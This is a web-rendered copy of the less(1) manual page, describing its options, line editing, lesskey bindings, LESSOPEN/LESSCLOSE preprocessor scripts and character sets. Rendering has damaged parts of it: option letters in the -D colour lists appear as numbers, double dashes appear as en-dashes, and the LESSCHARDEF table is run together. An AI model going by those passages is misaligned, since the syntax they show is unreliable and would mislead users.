The environment variable is parsed before the command line, so command line options override the LESS environment variable. If an option appears in the LESS variable, it can be reset to its default value on the command line by beginning the command line option with “-+”.

Some options like -k or -D require a string to follow the option letter. The string for that option is considered to end when a dollar sign ($) is found. For example, you can set two -D options like this:

LESS=“Dn9.1$Ds4.1”

If the –use-backslash option appears earlier in the options, then a dollar sign or backslash may be included literally in an option string by preceding it with a backslash. If the –use-backslash option is not in effect, then backslashes are not treated specially, and there is no way to include a dollar sign in the option string.

-? or –help
This option displays a summary of the commands accepted by less (the same as the h command). (Depending on how your shell interprets the question mark, it may be necessary to quote the question mark, thus: “-".)

-a or –search-skip-screen
By default, forward searches start at the top of the displayed screen and backwards searches start at the bottom of the displayed screen (except for repeated searches invoked by the n or N commands, which start after or before the “target” line respectively; see the -j option for more about the target line). The -a option causes forward searches to instead start at the bottom of the screen and backward searches to start at the top of the screen, thus skipping all lines displayed on the screen.

-A or –SEARCH-SKIP-SCREEN
Causes all forward searches (not just non-repeated searches) to start just after the target line, and all backward searches to start just before the target line. Thus, forward searches will skip part of the displayed screen (from the first line up to and including the target line). Similarly backwards searches will skip the displayed screen from the last line up to and including the target line. This was the default behavior in less versions prior to 441.

-bn or –buffers=n
Specifies the amount of buffer space less will use for each file, in units of kilobytes (1024 bytes). By default 64 KB of buffer space is used for each file (unless the file is a pipe; see the -B option). The -b option specifies instead that n kilobytes of buffer space should be used for each file. If n is -1, buffer space is unlimited; that is, the entire file can be read into memory.

-B or –auto-buffers
By default, when data is read from a pipe, buffers are allocated automatically as needed. If a large amount of data is read from the pipe, this can cause a large amount of memory to be allocated. The -B option disables this automatic allocation of buffers for pipes, so that only 64 KB (or the amount of space specified by the -b option) is used for the pipe. Warning: use of -B can result in erroneous display, since only the most recently viewed part of the piped data is kept in memory; any earlier data is lost. Lost characters are displayed as question marks.

-c or –clear-screen
Causes full screen repaints to be painted from the top line down. By default, full screen repaints are done by scrolling from the bottom of the screen.

-C or –CLEAR-SCREEN
Same as -c, for compatibility with older versions of less.

-d or –dumb
The -d option suppresses the error message normally displayed if the terminal is dumb; that is, lacks some important capability, such as the ability to clear the screen or scroll backward. The -d option does not otherwise change the behavior of less on a dumb terminal.

-Dxcolor or –color=xcolor
Changes the color of different parts of the displayed text. x is a single character which selects the type of text whose color is being set:

  1. Binary characters.

  2. Control characters.

  3. Errors and informational messages.

  4. Header lines and columns, set via the –header option.

  5. Mark letters in the status column.

  6. Line numbers enabled via the -N option.

  7. Prompts.

  8. The rscroll character.

  9. Search results.

1-5
The text in a search result which matches the first through fifth parenthesized sub-pattern. Sub-pattern coloring works only if less is built with one of the regular expression libraries posix, pcre, or pcre2.

  1. The highlight enabled via the -w option.

  2. Bold text.

  3. Blinking text.

  4. Standout text.

  5. Underlined text.

The uppercase letters and digits can be used only when the –use-color option is enabled. When text color is specified by both an uppercase letter and a lowercase letter, the uppercase letter takes precedence. For example, error messages are normally displayed as standout text. So if both “s” and “E” are given a color, the “E” color applies to error messages, and the “s” color applies to other standout text. The “d” and “u” letters refer to bold and underline text formed by overstriking with backspaces (see the -U option), not to text using ANSI escape sequences with the -R option.

A lowercase letter may be followed by a + to indicate that the normal format change and the specified color should both be used. For example, -Dug displays underlined text as green without underlining; the green color has replaced the usual underline formatting. But -Du+g displays underlined text as both green and in underlined format.

color is either a 4-bit color string or an 8-bit color string:

A 4-bit color string is zero, one or two characters, where the first character specifies the foreground color and the second specifies the background color as follows:

  1. Blue

  2. Cyan

  3. Green

  4. Black

  5. Magenta

  6. Red

  7. White

  8. Yellow

The corresponding uppercase letter denotes a brighter shade of the color. For example, -DNGk displays line numbers as bright green text on a black background, and -DEbR displays error messages as blue text on a bright red background. If either character is a “-” or is omitted, the corresponding color is set to that of normal text.

An 8-bit color string is one or two decimal integers separated by a dot, where the first integer specifies the foreground color and the second specifies the background color. Each integer is a value between 0 and 255 inclusive which selects a “CSI 38;5” color value (see

https://en.wikipedia.org/wiki/ANSI_escape_code#SGR)

If either integer is a “-” or is omitted, the corresponding color is set to that of normal text. On MS-DOS versions of less, 8-bit color is not supported; instead, decimal values are interpreted as 4-bit CHAR_INFO.Attributes values (see

https://docs.microsoft.com/en-us/windows/console/char-info-str).

On MS-DOS only, the -Da option may be used to specify strict parsing of ANSI color (SGR) sequences when the -R option is used. Without this option, sequences that change text attributes (bold, underline, etc.) may clear the text color.

-e or –quit-at-eof
Causes less to automatically exit the second time it reaches end-of-file. By default, the only way to exit less is via the “q” command.

-E or –QUIT-AT-EOF
Causes less to automatically exit the first time it reaches end-of-file.

-f or –force
Forces non-regular files to be opened. (A non-regular file is a directory or a device special file.) Also suppresses the warning message when a binary file is opened. By default, less will refuse to open non-regular files. Note that some operating systems will not allow directories to be read, even if -f is set.

-F or –quit-if-one-screen
Causes less to automatically exit if the entire file can be displayed on the first screen.

-g or –hilite-search
Normally, less will highlight ALL strings which match the last search command. The -g option changes this behavior to highlight only the particular string which was found by the last search command. This can cause less to run somewhat faster than the default.

-G or –HILITE-SEARCH
The -G option suppresses all highlighting of strings found by search commands.

-hn or –max-back-scroll=n
Specifies a maximum number of lines to scroll backward. If it is necessary to scroll backward more than n lines, the screen is repainted in a forward direction instead. (If the terminal does not have the ability to scroll backward, -h0 is implied.)

-i or –ignore-case
Causes searches to ignore case; that is, uppercase and lowercase are considered identical. This option is ignored if any uppercase letters appear in the search pattern; in other words, if a pattern contains uppercase letters, then that search does not ignore case.

-I or –IGNORE-CASE
Like -i, but searches ignore case even if the pattern contains uppercase letters.

-jn or –jump-target=n
Specifies a line on the screen where the “target” line is to be positioned. The target line is the line specified by any command to search for a pattern, jump to a line number, jump to a file percentage or jump to a tag. The screen line may be specified by a number: the top line on the screen is 1, the next is 2, and so on. The number may be negative to specify a line relative to the bottom of the screen: the bottom line on the screen is -1, the second to the bottom is -2, and so on. Alternately, the screen line may be specified as a fraction of the height of the screen, starting with a decimal point: .5 is in the middle of the screen, .3 is three tenths down from the first line, and so on. If the line is specified as a fraction, the actual line number is recalculated if the terminal window is resized. If any form of the -j option is used, repeated forward searches (invoked with “n” or “N”) begin at the line immediately after the target line, and repeated backward searches begin at the target line, unless changed by -a or -A. For example, if “-j4” is used, the target line is the fourth line on the screen, so forward searches begin at the fifth line on the screen. However nonrepeated searches (invoked with “/” or “?”) always begin at the start or end of the current screen respectively.

-J or –status-column
Displays a status column at the left edge of the screen. The character displayed in the status column may be one of:

>
The line is chopped with the -S option, and the text that is chopped off beyond the right edge of the screen contains a match for the current search.

<
The line is horizontally shifted, and the text that is shifted beyond the left side of the screen contains a match for the current search.

=
The line is both chopped and shifted, and there are matches beyond both sides of the screen.

  • There are matches in the visible part of the line but none to the right or left of it.

a-z, A-Z
The line has been marked with the corresponding letter via the m command.

-kfilename or –lesskey-file=filename
Causes less to open and interpret the named file as a lesskey(1) binary file. Multiple -k options may be specified. If the LESSKEY or LESSKEY_SYSTEM environment variable is set, or if a lesskey file is found in a standard place (see KEY BINDINGS), it is also used as a lesskey file.

–lesskey-src=filename
Causes less to open and interpret the named file as a lesskey(1) source file. If the LESSKEYIN or LESSKEYIN_SYSTEM environment variable is set, or if a lesskey source file is found in a standard place (see KEY BINDINGS), it is also used as a lesskey source file. Prior to version 582, the lesskey program needed to be run to convert a lesskey source file to a lesskey binary file for less to use. Newer versions of less read the lesskey source file directly and ignore the binary file if the source file exists.

-K or –quit-on-intr
Causes less to exit immediately (with status 2) when an interrupt character (usually ^C) is typed. Normally, an interrupt character causes less to stop whatever it is doing and return to its command prompt. Note that use of this option makes it impossible to return to the command prompt from the “F” command.

-L or –no-lessopen
Ignore the LESSOPEN environment variable (see the INPUT PREPROCESSOR section below). This option can be set from within less, but it will apply only to files opened subsequently, not to the file which is currently open.

-m or –long-prompt
Causes less to prompt verbosely (like more(1)), with the percent into the file. By default, less prompts with a colon.

-M or –LONG-PROMPT
Causes less to prompt even more verbosely than more(1).

-n or –line-numbers
Suppresses line numbers. The default (to use line numbers) may cause less to run more slowly in some cases, especially with a very large input file. Suppressing line numbers with the -n option will avoid this problem. Using line numbers means: the line number will be displayed in the verbose prompt and in the = command, and the v command will pass the current line number to the editor (see also the discussion of LESSEDIT in PROMPTS below).

-N or –LINE-NUMBERS
Causes a line number to be displayed at the beginning of each line in the display.

-ofilename or –log-file=filename
Causes less to copy its input to the named file as it is being viewed. This applies only when the input file is a pipe, not an ordinary file. If the file already exists, less will ask for confirmation before overwriting it.

-Ofilename or –LOG-FILE=filename
The -O option is like -o, but it will overwrite an existing file without asking for confirmation.

If no log file has been specified, the -o and -O options can be used from within less to specify a log file. Without a file name, they will simply report the name of the log file. The “s” command is equivalent to specifying -o from within less.

-ppattern or –pattern=pattern
The -p option on the command line is equivalent to specifying +/pattern; that is, it tells less to start at the first occurrence of pattern in the file.

-Pprompt or –prompt=prompt
Provides a way to tailor the three prompt styles to your own preference. This option would normally be put in the LESS environment variable, rather than being typed in with each less command. Such an option must either be the last option in the LESS variable, or be terminated by a dollar sign. -Ps followed by a string changes the default (short) prompt to that string. -Pm changes the medium (-m) prompt. -PM changes the long (-M) prompt. -Ph changes the prompt for the help screen. -P= changes the message printed by the = command. -Pw changes the message printed while waiting for data (in the “F” command).

All prompt strings consist of a sequence of letters and special escape sequences. See the section on PROMPTS for more details.

-q or –quiet or –silent
Causes moderately “quiet” operation: the terminal bell is not rung if an attempt is made to scroll past the end of the file or before the beginning of the file. If the terminal has a “visual bell”, it is used instead. The bell will be rung on certain other errors, such as typing an invalid character. The default is to ring the terminal bell in all such cases.

-Q or –QUIET or –SILENT
Causes totally “quiet” operation: the terminal bell is never rung. If the terminal has a “visual bell”, it is used in all cases where the terminal bell would have been rung.

-r or –raw-control-chars
Causes “raw” control characters to be displayed. The default is to display control characters using the caret notation; for example, a control-A (octal 001) is displayed as “^A” (with some exceptions as described under the -U option). Warning: when the -r option is used, less cannot keep track of the actual appearance of the screen (since this depends on how the screen responds to each type of control character). Thus, various display problems may result, such as long lines being split in the wrong place.

USE OF THE -r OPTION IS NOT RECOMMENDED.

-R or –RAW-CONTROL-CHARS
Like -r, but only ANSI “color” escape sequences and OSC 8 hyperlink sequences are output in “raw” form. Unlike -r, the screen appearance is maintained correctly, provided that there are no escape sequences in the file other than these types of escape sequences. Color escape sequences are only supported when the color is changed within one line, not across lines. In other words, the beginning of each line is assumed to be normal (non-colored), regardless of any escape sequences in previous lines. For the purpose of keeping track of screen appearance, these escape sequences are assumed to not move the cursor.

OSC 8 hyperlinks are sequences of the form:

ESC ] 8 ; … \7

The terminating sequence may be either a BEL character (\7) or the two-character sequence “ESC .

ANSI color escape sequences are sequences of the form:

ESC [ … m

where the “…” is zero or more color specification characters. You can make less think that characters other than “m” can end ANSI color escape sequences by setting the environment variable LESSANSIENDCHARS to the list of characters which can end a color escape sequence. And you can make less think that characters other than the standard ones may appear between the ESC and the m by setting the environment variable LESSANSIMIDCHARS to the list of characters which can appear.

-s or –squeeze-blank-lines
Causes consecutive blank lines to be squeezed into a single blank line. This is useful when viewing nroff output.

-S or –chop-long-lines
Causes lines longer than the screen width to be chopped (truncated) rather than wrapped. That is, the portion of a long line that does not fit in the screen width is not displayed until you press RIGHT-ARROW. The default is to wrap long lines; that is, display the remainder on the next line. See also the –wordwrap option.

-ttag or –tag=tag
The -t option, followed immediately by a TAG, will edit the file containing that tag. For this to work, tag information must be available; for example, there may be a file in the current directory called “tags”, which was previously built by ctags(1) or an equivalent command. If the environment variable LESSGLOBALTAGS is set, it is taken to be the name of a command compatible with global(1), and that command is executed to find the tag. (See

http://www.gnu.org/software/global/global.html).

The -t option may also be specified from within less (using the - command) as a way of examining a new file. The command “:t” is equivalent to specifying -t from within less.

-Ttagsfile or –tag-file=tagsfile
Specifies a tags file to be used instead of “tags”.

-u or –underline-special
Causes backspaces and carriage returns to be treated as printable characters; that is, they are sent to the terminal when they appear in the input.

-U or –UNDERLINE-SPECIAL
Causes backspaces, tabs, carriage returns and “formatting characters” (as defined by Unicode) to be treated as control characters; that is, they are handled as specified by the -r option.

By default, if neither -u nor -U is given, backspaces which appear adjacent to an underscore character are treated specially: the underlined text is displayed using the terminal’s hardware underlining capability. Also, backspaces which appear between two identical characters are treated specially: the overstruck text is printed using the terminal’s hardware boldface capability. Other backspaces are deleted, along with the preceding character. Carriage returns immediately followed by a newline are deleted. Other carriage returns are handled as specified by the -r option. Unicode formatting characters, such as the Byte Order Mark, are sent to the terminal. Text which is overstruck or underlined can be searched for if neither -u nor -U is in effect.

See also the –proc-backspace, –proc-tab, and –proc-return options.

-V or –version
Displays the version number of less.

-w or –hilite-unread
Temporarily highlights the first “new” line after a forward movement of a full page. The first “new” line is the line immediately following the line previously at the bottom of the screen. Also highlights the target line after a g or p command. The highlight is removed at the next command which causes movement. If the –status-line option is in effect, the entire line (the width of the screen) is highlighted. Otherwise, only the text in the line is highlighted, unless the -J option is in effect, in which case only the status column is highlighted.

-W or –HILITE-UNREAD
Like -w, but temporarily highlights the first new line after any forward movement command larger than one line.

-xn,… or –tabs=n,…
Sets tab stops. If only one n is specified, tab stops are set at multiples of n. If multiple values separated by commas are specified, tab stops are set at those positions, and then continue with the same spacing as the last two. For example, “-x9,17” will set tabs at positions 9, 17, 25, 33, etc. The default for n is 8.

-X or –no-init
Disables sending the termcap initialization and deinitialization strings to the terminal. This is sometimes desirable if the deinitialization string does something unnecessary, like clearing the screen.

-yn or –max-forw-scroll=n
Specifies a maximum number of lines to scroll forward. If it is necessary to scroll forward more than n lines, the screen is repainted instead. The -c or -C option may be used to repaint from the top of the screen if desired. By default, any forward movement causes scrolling.

-zn or –window=n or -n
Changes the default scrolling window size to n lines. The default is one screenful. The z and w commands can also be used to change the window size. The “z” may be omitted for compatibility with some versions of more(1). If the number n is negative, it indicates n lines less than the current screen size. For example, if the screen is 24 lines, -z-4 sets the scrolling window to 20 lines. If the screen is resized to 40 lines, the scrolling window automatically changes to 36 lines.

-“cc or –quotes=cc
Changes the filename quoting character. This may be necessary if you are trying to name a file which contains both spaces and quote characters. Followed by a single character, this changes the quote character to that character. Filenames containing a space should then be surrounded by that character rather than by double quotes. Followed by two characters, changes the open quote to the first character, and the close quote to the second character. Filenames containing a space should then be preceded by the open quote character and followed by the close quote character. Note that even after the quote characters are changed, this option remains -” (a dash followed by a double quote).

-~ or –tilde
Normally lines after end of file are displayed as a single tilde (~). This option causes lines after end of file to be displayed as blank lines.

-# or –shift
Specifies the default number of positions to scroll horizontally in the RIGHTARROW and LEFTARROW commands. If the number specified is zero, it sets the default number of positions to one half of the screen width. Alternately, the number may be specified as a fraction of the width of the screen, starting with a decimal point: .5 is half of the screen width, .3 is three tenths of the screen width, and so on. If the number is specified as a fraction, the actual number of scroll positions is recalculated if the terminal window is resized.

–exit-follow-on-close
When using the “F” command on a pipe, less will automatically stop waiting for more data when the input side of the pipe is closed.

–file-size
If –file-size is specified, less will determine the size of the file immediately after opening the file. Then the “=” command will display the number of lines in the file. Normally this is not done, because it can be slow if the input file is non-seekable (such as a pipe) and is large.

–follow-name
Normally, if the input file is renamed while an F command is executing, less will continue to display the contents of the original file despite its name change. If –follow-name is specified, during an F command less will periodically attempt to reopen the file by name. If the reopen succeeds and the file is a different file from the original (which means that a new file has been created with the same name as the original (now renamed) file), less will display the contents of that new file.

–header=N[,M]
Sets the number of header lines and columns displayed on the screen. The value may be of the form “N,M” where N and M are integers, to set the header lines to N and the header columns to M, or it may be a single integer “N” which sets the header lines to N and the header columns to zero, or it may be “,M” which sets the header columns to M and the header lines to zero. When N is nonzero, the first N lines at the top of the screen are replaced with the first N lines of the file, regardless of what part of the file are being viewed. When M is nonzero, the characters displayed at the beginning of each line are replaced with the first M characters of the line, even if the rest of the line is scrolled horizontally. If either N or M is zero, less stops displaying header lines or columns, respectively. (Note that it may be necessary to change the setting of the -j option to ensure that the target line is not obscured by the header line(s).)

–incsearch
Subsequent search commands will be “incremental”; that is, less will advance to the next line containing the search pattern as each character of the pattern is typed in.

–intr=c
Use the character c instead of ^X to interrupt a read when the “Waiting for data” message is displayed. c must be an ASCII character; that is, one with a value between 1 and 127 inclusive. A caret followed by a single character can be used to specify a control character.

–line-num-width=n
Sets the minimum width of the line number field when the -N option is in effect to n characters. The default is 7.

–modelines=n

Before displaying a file, less will read the first n lines to try to find a vim-compatible modeline. If n is zero, less does not try to find modelines. By using a modeline, the file itself can specify the tab stops that should be used when viewing it.

A modeline contains, anywhere in the line, a program name (“vi”, “vim”, “ex”, or “less”), followed by a colon, possibly followed by the word “set”, and finally followed by zero or more option settings. If the word “set” is used, option settings are separated by spaces, and end at the first colon. If the word “set” is not used, option settings may be separated by either spaces or colons. The word “set” is required if the program name is “less” but optional if any of the other three names are used. If any option setting is of the form “tabstop=n” or “ts=n”, then tab stops are automatically set as if –tabs=n had been given. See the –tabs description for acceptable values of n.

–mouse
Enables mouse input: scrolling the mouse wheel down moves forward in the file, scrolling the mouse wheel up moves backwards in the file, and clicking the mouse sets the “#” mark to the line where the mouse is clicked. The number of lines to scroll when the wheel is moved can be set by the –wheel-lines option. Mouse input works only on terminals which support X11 mouse reporting, and on the Windows version of less.

–MOUSE
Like –mouse, except the direction scrolled on mouse wheel movement is reversed.

–no-keypad
Disables sending the keypad initialization and deinitialization strings to the terminal. This is sometimes useful if the keypad strings make the numeric keypad behave in an undesirable manner.

–no-histdups
This option changes the behavior so that if a search string or file name is typed in, and the same string is already in the history list, the existing copy is removed from the history list before the new one is added. Thus, a given string will appear only once in the history list. Normally, a string may appear multiple times.

–no-number-headers
Header lines (defined via the –header option) are not assigned line numbers. Line number 1 is assigned to the first line after any header lines.

–no-search-headers
Searches do not include header lines or header columns.

–no-vbell
Disables the terminal’s visual bell.

–proc-backspace
If set, backspaces are handled as if neither the -u option nor the -U option were set. That is, a backspace adjacent to an underscore causes text to be displayed in underline mode, and a backspace between identical characters cause text to be displayed in boldface mode. This option overrides the -u and -U options, so that display of backspaces can be controlled separate from tabs and carriage returns. If not set, backspace display is controlled by the -u and -U options.

–PROC-BACKSPACE
If set, backspaces are handled as if the -U option were set; that is backspaces are treated as control characters.

–proc-return
If set, carriage returns are handled as if neither the -u option nor the -U option were set. That is, a carriage return immediately before a newline is deleted. This option overrides the -u and -U options, so that display of carriage returns can be controlled separate from that of backspaces and tabs. If not set, carriage return display is controlled by the -u and -U options.

–PROC-RETURN
If set, carriage returns are handled as if the -U option were set; that is carriage returns are treated as control characters.

–proc-tab
If set, tabs are handled as if the -U option were not set. That is, tabs are expanded to spaces. This option overrides the -U option, so that display of tabs can be controlled separate from that of backspaces and carriage returns. If not set, tab display is controlled by the -U options.

–PROC-TAB
If set, tabs are handled as if the -U option were set; that is tabs are treated as control characters.

–redraw-on-quit
When quitting, after sending the terminal deinitialization string, redraws the entire last screen. On terminals whose terminal deinitialization string causes the terminal to switch from an alternate screen, this makes the last screenful of the current file remain visible after less has quit.

–rscroll=c
This option changes the character used to mark truncated lines. It may begin with a two-character attribute indicator like LESSBINFMT does. If there is no attribute indicator, standout is used. If set to “-”, truncated lines are not marked.

–save-marks
Save marks in the history file, so marks are retained across different invocations of less.

–search-options=…
Sets default search modifiers. The value is a string of one or more of the characters E, F, K, N, R or W. Setting any of these has the same effect as typing that control character at the beginning of every search pattern. For example, setting –search-options=W is the same as typing ^W at the beginning of every pattern. The value may also contain a digit between 1 and 5, which has the same effect as typing ^S followed by that digit at the beginning of every search pattern. The value “-” disables all default search modifiers.

–show-preproc-errors
If a preprocessor produces data, then exits with a non-zero exit code, less will display a warning.

–status-col-width=n
Sets the width of the status column when the -J option is in effect. The default is 2 characters.

–status-line
If a line is marked, the entire line (rather than just the status column) is highlighted. Also lines highlighted due to the -w option will have the entire line highlighted. If –use-color is set, the line is colored rather than highlighted.

–use-backslash
This option changes the interpretations of options which follow this one. After the –use-backslash option, any backslash in an option string is removed and the following character is taken literally. This allows a dollar sign to be included in option strings.

–use-color
Enables colored text in various places. The -D option can be used to change the colors. Colored text works only if the terminal supports ANSI color escape sequences (as defined in ECMA-48 SGR; see

https://www.ecma-international.org/publications-and-standards/standards/ecma-48).

–wheel-lines=n
Set the number of lines to scroll when the mouse wheel is scrolled and the –mouse or –MOUSE option is in effect. The default is 1 line.

–wordwrap
When the -S option is not in use, wrap each line at a space or tab if possible, so that a word is not split between two lines. The default is to wrap at any character.


A command line argument of “–” marks the end of option arguments. Any arguments following this are interpreted as filenames. This can be useful when viewing a file whose name begins with a “-” or “+”.

  • If a command line option begins with +, the remainder of that option is taken to be an initial command to less. For example, +G tells less to start at the end of the file rather than the beginning, and +/xyz tells it to start at the first occurrence of “xyz” in the file. As a special case, +<number> acts like +<number>g; that is, it starts the display at the specified line number (however, see the caveat under the “g” command above). If the option starts with ++, the initial command applies to every file being viewed, not just the first one. The + command described previously may also be used to set (or change) an initial command for every file.

LINE EDITING

When entering a command line at the bottom of the screen (for example, a filename for the :e command, or the pattern for a search command), certain keys can be used to manipulate the command line. Most commands have an alternate form in [ brackets ] which can be used if a key does not exist on a particular keyboard. (Note that the forms beginning with ESC do not work in some MS-DOS and Windows systems because ESC is the line erase character.) Any of these special keys may be entered literally by preceding it with the “literal” character, either ^V or ^A. A backslash itself may also be entered literally by entering two backslashes.

LEFTARROW [ ESC-h ]
Move the cursor one space to the left.

RIGHTARROW [ ESC-l ]
Move the cursor one space to the right.

^LEFTARROW [ ESC-b or ESC-LEFTARROW ]
(That is, CONTROL and LEFTARROW simultaneously.) Move the cursor one word to the left.

^RIGHTARROW [ ESC-w or ESC-RIGHTARROW ]
(That is, CONTROL and RIGHTARROW simultaneously.) Move the cursor one word to the right.

HOME [ ESC-0 ]
Move the cursor to the beginning of the line.

END [ ESC-$ ]
Move the cursor to the end of the line.

BACKSPACE
Delete the character to the left of the cursor, or cancel the command if the command line is empty.

DELETE or [ ESC-x ]
Delete the character under the cursor.

^BACKSPACE [ ESC-BACKSPACE ]
(That is, CONTROL and BACKSPACE simultaneously.) Delete the word to the left of the cursor.

^DELETE [ ESC-X or ESC-DELETE ]
(That is, CONTROL and DELETE simultaneously.) Delete the word under the cursor.

UPARROW [ ESC-k ]
Retrieve the previous command line. If you first enter some text and then press UPARROW, it will retrieve the previous command which begins with that text.

DOWNARROW [ ESC-j ]
Retrieve the next command line. If you first enter some text and then press DOWNARROW, it will retrieve the next command which begins with that text.

TAB
Complete the partial filename to the left of the cursor. If it matches more than one filename, the first match is entered into the command line. Repeated TABs will cycle thru the other matching filenames. If the completed filename is a directory, a “/” is appended to the filename. (On MS-DOS systems, a “\ is appended.) The environment variable LESSSEPARATOR can be used to specify a different character to append to a directory name.

BACKTAB [ ESC-TAB ]
Like, TAB, but cycles in the reverse direction thru the matching filenames.

^L
Complete the partial filename to the left of the cursor. If it matches more than one filename, all matches are entered into the command line (if they fit).

^U (Unix and OS/2) or ESC (MS-DOS)
Delete the entire command line, or cancel the command if the command line is empty. If you have changed your line-kill character in Unix to something other than ^U, that character is used instead of ^U.

^G
Delete the entire command line and return to the main prompt.

KEY BINDINGS

You may define your own less commands by creating a lesskey source file. This file specifies a set of command keys and an action associated with each key. You may also change the line-editing keys (see LINE EDITING), and set environment variables used by less. See the lesskey(1) manual page for details about the file format.

If the environment variable LESSKEYIN is set, less uses that as the name of the lesskey source file. Otherwise, less looks in a standard place for the lesskey source file: On Unix systems, less looks for a lesskey file called “$XDG_CONFIG_HOME/lesskey” or “$HOME/.config/lesskey” or “$HOME/.lesskey”. On MS-DOS and Windows systems, less looks for a lesskey file called “$HOME/_lesskey”, and if it is not found there, then looks for a lesskey file called “_lesskey” in any directory specified in the PATH environment variable. On OS/2 systems, less looks for a lesskey file called “$HOME/lesskey.ini”, and if it is not found, then looks for a lesskey file called “lesskey.ini” in any directory specified in the INIT environment variable, and if it not found there, then looks for a lesskey file called “lesskey.ini” in any directory specified in the PATH environment variable.

A system-wide lesskey source file may also be set up to provide key bindings. If a key is defined in both a local lesskey file and in the system-wide file, key bindings in the local file take precedence over those in the system-wide file. If the environment variable LESSKEYIN_SYSTEM is set, less uses that as the name of the system-wide lesskey file. Otherwise, less looks in a standard place for the system-wide lesskey file: On Unix systems, the system-wide lesskey file is /usr/local/etc/syslesskey. (However, if less was built with a different sysconf directory than /usr/local/etc, that directory is where the sysless file is found.) On MS-DOS and Windows systems, the system-wide lesskey file is c:\syslesskey. On OS/2 systems, the system-wide lesskey file is c:\syslesskey.ini.

Previous versions of less (before v582) used lesskey files with a binary format, produced by the lesskey program. It is no longer necessary to use the lesskey program.

INPUT PREPROCESSOR

You may define an “input preprocessor” for less. Before less opens a file, it first gives your input preprocessor a chance to modify the way the contents of the file are displayed. An input preprocessor is simply an executable program (or shell script), which writes the contents of the file to a different file, called the replacement file. The contents of the replacement file are then displayed in place of the contents of the original file. However, it will appear to the user as if the original file is opened; that is, less will display the original filename as the name of the current file.

An input preprocessor receives one command line argument, the original filename, as entered by the user. It should create the replacement file, and when finished, print the name of the replacement file to its standard output. If the input preprocessor does not output a replacement filename, less uses the original file, as normal. The input preprocessor is not called when viewing standard input. To set up an input preprocessor, set the LESSOPEN environment variable to a command line which will invoke your input preprocessor. This command line should include one occurrence of the string “%s”, which will be replaced by the filename when the input preprocessor command is invoked.

When less closes a file opened in such a way, it will call another program, called the input postprocessor, which may perform any desired clean-up action (such as deleting the replacement file created by LESSOPEN). This program receives two command line arguments, the original filename as entered by the user, and the name of the replacement file. To set up an input postprocessor, set the LESSCLOSE environment variable to a command line which will invoke your input postprocessor. It may include two occurrences of the string “%s”; the first is replaced with the original name of the file and the second with the name of the replacement file, which was output by LESSOPEN.

For example, on many Unix systems, these two scripts will allow you to keep files in compressed format, but still let less view them directly:

lessopen.sh:
#! /bin/sh
case “$1” in
*.Z) TEMPFILE=$(mktemp)
uncompress -c $1 >$TEMPFILE 2>/dev/null
if [ -s $TEMPFILE ]; then
echo $TEMPFILE
else
rm -f $TEMPFILE
fi
;;
esac

lessclose.sh:
#! /bin/sh
rm $2

To use these scripts, put them both where they can be executed and set LESSOPEN=“lessopen.sh %s”, and LESSCLOSE=“lessclose.sh %s %s”. More complex LESSOPEN and LESSCLOSE scripts may be written to accept other types of compressed files, and so on.

It is also possible to set up an input preprocessor to pipe the file data directly to less, rather than putting the data into a replacement file. This avoids the need to decompress the entire file before starting to view it. An input preprocessor that works this way is called an input pipe. An input pipe, instead of writing the name of a replacement file on its standard output, writes the entire contents of the replacement file on its standard output. If the input pipe does not write any characters on its standard output, then there is no replacement file and less uses the original file, as normal. To use an input pipe, make the first character in the LESSOPEN environment variable a vertical bar (|) to signify that the input preprocessor is an input pipe. As with non-pipe input preprocessors, the command string must contain one occurrence of %s, which is replaced with the filename of the input file.

For example, on many Unix systems, this script will work like the previous example scripts:

lesspipe.sh:
#! /bin/sh
case “$1” in
*.Z) uncompress -c $1 2>/dev/null
;;
*) exit 1
;;
esac
exit $?

To use this script, put it where it can be executed and set LESSOPEN="|lesspipe.sh %s”.

Note that a preprocessor cannot output an empty file, since that is interpreted as meaning there is no replacement, and the original file is used. To avoid this, if LESSOPEN starts with two vertical bars, the exit status of the script determines the behavior when the output is empty. If the output is empty and the exit status is zero, the empty output is considered to be replacement text. If the output is empty and the exit status is nonzero, the original file is used. For compatibility with previous versions of less, if LESSOPEN starts with only one vertical bar, the exit status of the preprocessor is ignored.

When an input pipe is used, a LESSCLOSE postprocessor can be used, but it is usually not necessary since there is no replacement file to clean up. In this case, the replacement file name passed to the LESSCLOSE postprocessor is “-”.

For compatibility with previous versions of less, the input preprocessor or pipe is not used if less is viewing standard input. However, if the first character of LESSOPEN is a dash (-), the input preprocessor is used on standard input as well as other files. In this case, the dash is not considered to be part of the preprocessor command. If standard input is being viewed, the input preprocessor is passed a file name consisting of a single dash. Similarly, if the first two characters of LESSOPEN are vertical bar and dash (|-) or two vertical bars and a dash (||-), the input pipe is used on standard input as well as other files. Again, in this case the dash is not considered to be part of the input pipe command.

NATIONAL CHARACTER SETS

There are three types of characters in the input file:

normal characters
can be displayed directly to the screen.

control characters
should not be displayed directly, but are expected to be found in ordinary text files (such as backspace and tab).

binary characters
should not be displayed directly and are not expected to be found in text files.

A “character set” is simply a description of which characters are to be considered normal, control, and binary. The LESSCHARSET environment variable may be used to select a character set. Possible values for LESSCHARSET are:

ascii
BS, TAB, NL, CR, and formfeed are control characters, all chars with values between 32 and 126 are normal, and all others are binary.

iso8859
Selects an ISO 8859 character set. This is the same as ASCII, except characters between 160 and 255 are treated as normal characters.

latin1
Same as iso8859.

latin9
Same as iso8859.

dos
Selects a character set appropriate for MS-DOS.

ebcdic
Selects an EBCDIC character set.

IBM-1047
Selects an EBCDIC character set used by OS/390 Unix Services. This is the EBCDIC analogue of latin1. You get similar results by setting either LESSCHARSET=IBM-1047 or LC_CTYPE=en_US in your environment.

koi8-r
Selects a Russian character set.

next
Selects a character set appropriate for NeXT computers.

utf-8
Selects the UTF-8 encoding of the ISO 10646 character set. UTF-8 is special in that it supports multi-byte characters in the input file. It is the only character set that supports multi-byte characters.

windows
Selects a character set appropriate for Microsoft Windows (cp 1251).

In rare cases, it may be desired to tailor less to use a character set other than the ones definable by LESSCHARSET. In this case, the environment variable LESSCHARDEF can be used to define a character set. It should be set to a string where each character in the string represents one character in the character set. The character “.” is used for a normal character, “c” for control, and “b” for binary. A decimal number may be used for repetition. For example, “bccc4b.” would mean character 0 is binary, 1, 2 and 3 are control, 4, 5, 6 and 7 are binary, and 8 is normal. All characters after the last are taken to be the same as the last, so characters 9 through 255 would be normal. (This is an example, and does not necessarily represent any real character set.)

This table shows the value of LESSCHARDEF which is equivalent to each of the possible values for LESSCHARSET:

ascii8bcccbcc18b95.b
dos8bcccbcc12bc5b95.b.
